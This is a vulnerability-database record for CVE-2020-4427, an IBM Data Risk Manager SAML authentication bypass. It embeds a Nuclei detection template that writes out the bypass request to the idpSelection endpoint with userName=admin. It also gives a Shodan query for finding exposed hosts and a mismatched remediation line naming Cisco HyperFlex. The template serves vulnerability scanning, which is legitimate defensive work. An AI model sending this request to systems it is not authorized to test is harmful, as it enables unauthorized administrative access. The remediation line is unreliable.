{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2020-4427/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2020-4427/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2020-4427/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2020-4427/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2020-4427/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2020-4427"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2020-4427"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2020/CVE-2020-4427.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2020-4427\n\ninfo:\n  name: IBM Data Risk Manager - Authentication Bypass via SAML\n  author: ritikchaddha\n  severity: critical\n  description: |\n    IBM Data Risk Manager versions 2.0.1 through 2.0.6 are vulnerable to authentication bypass when configured with SAML authentication. A remote attacker can bypass security restrictions by sending a specially crafted HTTP request to the SAML idpSelection endpoint, allowing them to bypass the authentication process and gain full administrative access to the system.\n  impact: |\n    Unauthenticated attackers can bypass authentication via SAML endpoint and gain full administrative access to IBM Data Risk Manager, compromising all managed data risk information.\n  remediation: |\n    Apply the latest security updates and patches provided by Cisco for HyperFlex HX.\n  reference:\n    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/ibm_drm_rce.rb\n    - https://seclists.org/fulldisclosure/2020/Apr/33\n    - https://www.ibm.com/support/pages/node/6206875\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-4427\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-4427\n    cwe-id: CWE-287\n    epss-score: 0.70031\n    epss-percentile: 0.99345\n    cpe: cpe:2.3:a:ibm:data_risk_manager:*:*:*:*:*:*:*:*\n  metadata:\n    verified: false\n    max-request: 1\n    vendor: ibm\n    product: data_risk_manager\n    shodan-query: title:\"IBM Data Risk Manager\"\n  tags: cve,cve2020,ibm,saml,auth-bypass,kev,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/albatross/saml/idpSelection?id={{randstr}}&userName=admin\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: location\n        words:\n          - \"localhost:8765\"\n          - \"saml/idpSelection\"\n        condition: and\n\n      - type: status\n        status:\n          - 302\n\n    extractors:\n      - type: kval\n        part: header\n        kval:\n          - location\n# digest: 4a0a00473045022100cc84eba99a3986a3a86b929b98136667a1dd1b5ae45c09e08f94545bf85e68de02203aea06360e45adbaf11f146eed8638f1dfdb497c63a24bc29f060ec52136e23b:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2020-4427"
}